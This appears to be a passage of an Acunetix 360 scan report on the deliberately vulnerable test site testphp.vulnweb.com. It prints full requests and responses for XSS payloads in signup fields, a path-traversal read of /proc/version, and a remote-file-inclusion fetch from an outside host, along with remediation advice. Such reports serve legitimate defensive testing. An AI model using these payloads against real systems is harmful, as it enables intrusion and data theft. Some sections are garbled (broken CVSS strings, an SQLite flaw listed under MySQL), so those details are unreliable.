Date: Wed, 09 Jun 2021 13:26:57 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>add new user</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="masthead">
<h1 id="siteName">ACUNETIX ART</h1>
</div>

<p>You have been introduced to our database with the above informations:</p>
<ul><li>Username: Smith</li><li>Password: Inv1%40cti</li><li>Name: Smith</li><li>Address: "--></script>netsparker(0x1066D5)</script></li><li>E-Mail: invicti@example.com</li><li>Phone number: 3</li><li>Credit card: 4916613944329494</li></ul>
</body>
</html>
### History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the <strong>Scan</strong>.</td>
<td>System</td>
<td>6/9/2021 1:27:01 PM</td>
</tr>
<tr>
<td>The Issue was detected during the <strong>Scan</strong>. The State was set to <strong>Present</strong></td>
<td>System</td>
<td>5/6/2021 8:23:15 AM</td>
</tr>
</tbody>
</table>


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>upass2</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>signup</td>
<td>signup</td>
</tr>
<tr>
<td>POST</td>
<td>uuname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>upass</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uaddress</td>
<td>3</td>
</tr>
<tr>
<td>POST</td>
<td>ucc</td>
<td>'&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x1066E6)&lt;/scRipt&gt;</td>
</tr>
<tr>
<td>POST</td>
<td>uemail</td>
<td><a href="mailto:invicti@example.com">invicti@example.com</a></td>
</tr>
<tr>
<td>POST</td>
<td>uphone</td>
<td>3</td>
</tr>
</tbody>
</table>
Request

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 187
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.4 Safari/537.36
X-Scanner: Acunetix 360

upass2=Inv1%40cti&urname=Smith&signup=signup&uuname=Smith&upass=Inv1%40cti&uaddress=3&ucc="--></style></script><script>netsparker(0x1066E6)</script>&uemail=invicti%40example.com&uphone=3

Response

Response Time (ms) : 180.9975  Total Bytes Received : 220  Body Length : 0  Is Compressed : No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:27:03 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>add new user</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="masthead">
<h1 id="siteName">ACUNETIX ART</h1>
</div>
<p>You have been introduced to our database with the above informations:
<ul>
<li>Usernam e: Smith</li>
<li>Password: Inv1@cti</li>
<li>Name: Smith</li>
<li>Address: 3</li>
<li>E-Mail: invicti@example.com</li>
<li>Phone number: 3</li>
<li>Credit card: ""--></li>
</ul>
Now you can login from <a href="http://testphp.vulnweb.com/login.php">here</a>.</p>
</body>
</html>
### History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:27:05 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:24:41 AM</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>upass2</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>signup</td>
<td>signup</td>
</tr>
<tr>
<td>POST</td>
<td>uuname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>upass</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uaddress</td>
<td>3</td>
</tr>
<tr>
<td>POST</td>
<td>ucc</td>
<td>4916613944329494</td>
</tr>
<tr>
<td>POST</td>
<td>uemail</td>
<td>'&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x1066F3)&lt;/scRipt&gt;</td>
</tr>
<tr>
<td>POST</td>
<td>uphone</td>
<td>3</td>
</tr>
</tbody>
</table>
Request

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 182
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.4 Safari/537.36
X-Scanner: Acunetix 360

upass2=Inv1%40cti&urname=Smith&signup=signup&uname=Smith&upass=Inv1%40cti&uaddress=3&ucc=4916613944329494&uemail="--></style></script><script>netsparker(0x1066F3)</script>&uphone=3

Response

Response Time (ms) : 180.0976  Total Bytes Received : 220  Body Length : 0  Is Compressed : No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:27:08 GMT

<TITLE>add new user</TITLE>
</head>
<body>
<p>You have been introduced to our database with the above informations:<ul><li>Username: Smith</li><li>Password: Inv1@cti</li><li>Name: Smith</li><li>Address: 3</li><li>E-Mail: "--></style></script><script>netsparker(0x1066F3)</script><li>Phone number: 3</li><li>Credit card: 4916613944329494</li></ul><p>Now you can login from <a href='http://testphp.vulnweb.com/login.php'>here</a>.</p>
</body>
</html>
The Issue was detected during the Scan. The State was set to Present.


CONFIRMED

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>upass2</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>signup</td>
<td>signup</td>
</tr>
<tr>
<td>POST</td>
<td>uuname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>upass</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uaddress</td>
<td>3</td>
</tr>
<tr>
<td>POST</td>
<td>ucc</td>
<td>4916613944329494</td>
</tr>
<tr>
<td>POST</td>
<td>uemail</td>
<td><a href="mailto:invicti@example.com">invicti@example.com</a></td>
</tr>
<tr>
<td>POST</td>
<td>uphone</td>
<td>'&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x106710)&lt;/scRipt&gt;</td>
</tr>
</tbody>
</table>
Request

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 202
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3944.88 Safari/537.36
X-Scanner: Acunetix 360

upass2=Inv1%40cti&urname=Smith&signup=signup&uuname=Smith&upass=Inv1%40cti&uaddress=3&ucc=4916613944329494&uemail=invicti%40example.com&uphone="--></style></script><script>netsparker(0x106710)</script>

Response

Response Time (ms) : 179.7113   Total Bytes Received : 220   Body Length : 0   Is Compressed : No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:27:12 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>add new user</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="masthead">
 <h1 id="siteName">ACUNETIX ART</h1>
</div>
<div id="content">
 You have been introduced to our database with the above informations:<ul>
<li>Username: Smith</li>
<li>Password: Inv1@cti</li>
<li>Name: Smith</li>
<li>Address: 3</li>
<li>E-Mail: invicti@example.com</li>
<li>Phone number: 4916613944329494</li>
<li>Credit card: 4916613944329494</li>
</ul>
</body>
</html>
Remedy

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it’s strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.

Additionally, you should implement a strong Content Security Policy (CSP) as a defense-in-depth measure if an XSS vulnerability is mistakenly introduced. Due to the complexity of XSS-Prevention and the lack of secure standard behavior in programming languages and frameworks, XSS vulnerabilities are still common in web applications.

CSP will act as a safeguard that can prevent an attacker from successfully exploiting Cross-site Scripting vulnerabilities in your website and is advised in any kind of application. Please make sure to scan your application again with Content Security Policy checks enabled after implementing CSP, in order to avoid common mistakes that can impact the effectiveness of your policy. There are a few pitfalls that can render your CSP policy useless and we highly recommend reading the resources linked in the reference section before you start to implement one.

External References

- OWASP - Cross-site Scripting
- Cross-site Scripting Web Application Vulnerability
- XSS Shell
- XSS Tunnelling

Remedy References

- Microsoft Anti-XSS Library
- Negative Impact of Incorrect CSP Implementations
- Content Security Policy (CSP) Explained
- OWASP XSS Prevention Cheat Sheet
- OWASP AntiSamy Java

Proof of Concept Notes

Generated XSS exploit might not work due to browser XSS filtering. Please follow the guidelines below in order to disable XSS filtering for different browsers. Also note that;

- XSS filtering is a feature that’s enabled by default in some of the modern browsers. It should only be disabled temporarily to test exploits and should be reverted back if the browser is actively used other than testing purposes.
- Even though browsers have certain checks to prevent Cross-site scripting attacks in practice there are a variety of ways to bypass this mechanism therefore a web application should not rely on this kind of client-side browser checks.

Chrome

- Open command prompt.
- Go to folder where chrome.exe is located.
- Run the command `chrome.exe --args --disable-xss-auditor`

Internet Explorer
Click Tools->Internet Options and then navigate to the Security Tab.
Click Custom level and scroll towards the bottom where you will find that Enable XSS filter is currently Enabled.
Set it to disabled. Click OK.
Click Yes to accept the warning followed by Apply.

Firefox

Go to about:config in the URL address bar.
In the search field, type urlbar.filter and find browser.urlbar.filter.javascript.
Set its value to false by double clicking the row.

Safari

Relaunch the browser and visit the PoC URL

CLASSIFICATION

DISA STIG

CVSS 3.0 SCORE

Base 7.4 (High)
Temporal 7.4 (High)
Environmental 7.4 (High)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

CVSS 3.1 SCORE

Base 7.4 (High)
Temporal 7.4 (High)
CVSS 3.1 SCORE
Environmental 7.4 (High)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
5. Password Transmitted over HTTP

Acunetix 360 detected that password data is being transmitted over HTTP.

Impact
If an attacker can intercept network traffic, he/she can steal users' credentials.

Vulnerabilities


Input Name
- pass

Form target action

Form name
- loginform

Request
GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
Actions to Take

1. See the remedy for solution.
2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input, starting from the login process, should only be served over HTTPS.

---

```
  " action="userinfo.php">
    <table cellspacing="1">
      <tr><td>Username : </td><td><input name="uname" type="text" size="20" style="width:20px;"/></td></tr>
      <tr><td>Password : </td><td><input name="pass" type="password" size="20" style="width:120px;"/></td></tr>
      <tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;"/></td></tr>
    </table>
  </form>
</div>
```

---

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:19:34 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:13:41 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present</td>
<td>System</td>
<td>5/6/2021 8:05:16 AM</td>
</tr>
</tbody>
</table>

---

Actions to Take

1. See the remedy for solution.
2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input, starting from the login process, should only be served over HTTPS.
### CVSS 3.0 Score

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>5.7 (Medium)</td>
</tr>
<tr>
<td>Temporal</td>
<td>5.7 (Medium)</td>
</tr>
<tr>
<td>Environmental</td>
<td>5.7 (Medium)</td>
</tr>
</tbody>
</table>

**CVSS Vector String**

```
CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
```

### CVSS 3.1 Score

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>5.7 (Medium)</td>
</tr>
<tr>
<td>Temporal</td>
<td>5.7 (Medium)</td>
</tr>
<tr>
<td>Environmental</td>
<td>5.7 (Medium)</td>
</tr>
</tbody>
</table>

**CVSS Vector String**

```
```
6. Local File Inclusion

Acunetix 360 identified a Local File Inclusion vulnerability, which occurs when a file from the target system is injected into the attacked server page.

Acunetix 360 confirmed this issue by reading some files from the target web server.

Impact

The impact can vary, based on the exploitation and the read permission of the web server user. Depending on these factors, an attacker might carry out one or more of the following attacks:

- Gather usernames via an "/etc/passwd" file
- Harvest useful information from the log files, such as "/apache/logs/error.log" or "/apache/logs/access.log"
- Remotely execute commands by combining this vulnerability with some other attack vectors, such as file upload vulnerability or log injection

Vulnerabilities


CONFIRMED

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>file</td>
<td>/../../../proc/version</td>
</tr>
</tbody>
</table>

Proof of Exploit

File - /proc/version

```
Linux version 5.4.0-1030-aws (build@lcy01-amd64-028) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #
```
**Request**

GET /showimage.php?file=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

**Response**

Response Time (ms): 179.6577  Total Bytes Received: 206  Body Length: 0  Is Compressed: No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: image/jpeg
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:22:46 GMT

Linux version 5.4.0-1030-aws (buildd@lcy01-amd64-028) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1-20.04)) #31-Ubuntu SMP Fri Nov 13 11:40:37 UTC 2020

**History**

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan. The State was set to ![Present] !</td>
<td>System</td>
<td>6/9/2021 1:22:48 PM</td>
</tr>
</tbody>
</table>


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>size</td>
<td>160</td>
</tr>
</tbody>
</table>
Method | Parameter | Value
--- | --- | ---
GET | file | ../../../../../../proc/version

**Proof of Exploit**

**File - /proc/version**

```plaintext
Linux version 5.4.0-1030-aws (buildd@lcy01-amd64-028) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1-20.04)) #
```

**Request**

```
GET /showimage.php?file=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion&size=160 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3944.53 Safari/537.36
X-Scanner: Acunetix 360
```

**Response**

```
HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: image/jpeg
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:24:26 GMT

Linux version 5.4.0-1030-aws (buildd@lcy01-amd64-028) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1-20.04)) #31-Ubuntu SMP Fri Nov 13 11:40:37 UTC 2020
```

**History**
Remedy

- If possible, do not permit appending file paths directly. Make them hard-coded or selectable from a limited hard-coded path list via an index variable.
- If you definitely need dynamic path concatenation, ensure you only accept required characters such as "a-Z0-9" and do not allow "." or "/" or "%00" (null byte) or any other similar unexpected characters.
- It is important to limit the API to allow inclusion only from a directory and directories below it. This way you can ensure any potential attack cannot perform a directory traversal attack.

External References

- [Local File Inclusion Vulnerability](#)
CVSS 3.1 SCORE

<table>
<thead>
<tr>
<th>Category</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>8.6 (High)</td>
</tr>
<tr>
<td>Temporal</td>
<td>8.6 (High)</td>
</tr>
<tr>
<td>Environmental</td>
<td>8.6 (High)</td>
</tr>
</tbody>
</table>

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/H:N/A:N
7. Cross-site Scripting via Remote File Inclusion

Acunetix 360 detected Cross-site Scripting via Remote File Inclusion, which makes it possible to conduct cross-site scripting attacks by including arbitrary client-side dynamic scripts (JavaScript, VBScript).

Cross-site scripting allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user’s credentials. This happens because the input entered by the user has been interpreted as HTML/JavaScript/VBScript by the browser.

Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users’ sessions, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of cross-site scripting, including:

- Hijacking user’s active session.
- Changing the look of the page within the victim’s browser.
- Mounting a successful phishing attack.
- Intercepting data and performing man-in-the-middle attacks.

Vulnerabilities


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>file</td>
<td><a href="hTTp://r87.com/n">hTTp://r87.com/n</a></td>
</tr>
</tbody>
</table>

Notes

- Due to the Content-type header of the response, exploitation of this vulnerability might not be possible because of the browser used or because of the presence of certain web tools. We recommend that you fix this even if it is not an exploitable XSS vulnerability because it can allow an attacker to introduce other attacks to exploit it. But, these issues are not confirmed; you will need to manually confirm them yourself. In general, lack of filtering in the response can cause Cross-site Scripting vulnerabilities in browsers with built-in mime sniffing (such as Internet Explorer).
Request

GET /showimage.php?file=http%3a%2f%2fr87.com%2fn HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

Response

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: image/jpeg
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:22:44 GMT

<? print chr(45).((44353702950+(intval($_GET["nsxint"])*4567)).chr(45) ?>
<script>netsparkerRFI(0x066666)</script>

History

The Issue was detected during the Scan. The State was set to ! Present


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>size</td>
<td>160</td>
</tr>
</tbody>
</table>
Notes

Due to the Content-type header of the response, exploitation of this vulnerability might not be possible because of the browser used or because of the presence of certain web tools. We recommend that you fix this even if it is not an exploitable XSS vulnerability because it can allow an attacker to introduce other attacks to exploit it. But, these issues are not confirmed; you will need to manually confirm them yourself. In general, lack of filtering in the response can cause Cross-site Scripting vulnerabilities in browsers with built-in mime sniffing (such as Internet Explorer).

Certainty

Request
GET /showimage.php?file=http%3a%2f%2fr87.com%2fn&size=160 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

Response

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: image/jpeg
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:24:17 GMT

<? print chr(45).((44353702950+intval($_GET["nsxint"])4567)).chr(45) ?>
<script>netsparkerRFI(8x066666)</script>

History
Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically, the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Additionally, you should implement a strong Content Security Policy (CSP) as a defence-in-depth measure if an XSS vulnerability is mistakenly introduced. Due to the complexity of XSS-Prevention and the lack of secure standard behavior in programming languages and frameworks, XSS vulnerabilities are still common in web applications.

CSP will act as a safeguard that can prevent an attacker from successfully exploiting Cross Site Scripting vulnerabilities in your website and is advised in any kind of application. Please make sure to scan your application again with Content Security Policy checks enabled after implementing CSP, in order to avoid common mistakes that can impact the effectiveness of your policy. There are a few pitfalls that can render your CSP policy useless and we highly recommend reading the resources linked in the reference section before you start to implement one.

External References

- XSS Shell
- Remote File Inclusion Vulnerabilities Information & Prevention
- Remote File Inclusion Vulnerabilities Information & Prevention
- Remote File Inclusion Vulnerabilities Information & Prevention
- XSS Tunnelling
- OWASP - Cross-site Scripting
- Cross-site Scripting Web Application Vulnerability

Remedy References

- [ASP.NET] - Microsoft Anti-XSS Library
- Negative Impact of Incorrect CSP Implementations
- Content Security Policy (CSP) Explained
- OWASP XSS Prevention Cheat Sheet
- OWASP AntiSamy Java
## CVSS 3.0 Score

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Temporal</td>
<td>8.6 (High)</td>
</tr>
<tr>
<td>Environmental</td>
<td>8.6 (High)</td>
</tr>
</tbody>
</table>

### CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

## CVSS 3.1 Score

<table>
<thead>
<tr>
<th>Component</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base</td>
<td>8.6 (High)</td>
</tr>
<tr>
<td>Temporal</td>
<td>8.6 (High)</td>
</tr>
<tr>
<td>Environmental</td>
<td>8.6 (High)</td>
</tr>
</tbody>
</table>

### CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
8. Out-of-date Version (MySQL)

Impact
Since this is an old version of the software, it may be vulnerable to attacks.

MySQL Improper Initialization Vulnerability
SQLite through 3.31.1 allows attackers to cause a denial of service (segmentation fault) via a malformed window-function query because the AggInfo object’s initialization is mishandled.

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2020-11655

Exploits
MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- CVE-2021-2193

Exploits
MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0 to 8.0.23

External References
- CVE-2021-2194

Exploits
MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- CVE-2021-2196

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Partition). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- CVE-2021-2201

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 5.7.32 and prior and 8.0.22 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0 to 8.0.22

External References
- CVE-2021-2202

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
External References
• CVE-2021-2203

Exploits

MySQL Insufficient Information Vulnerability
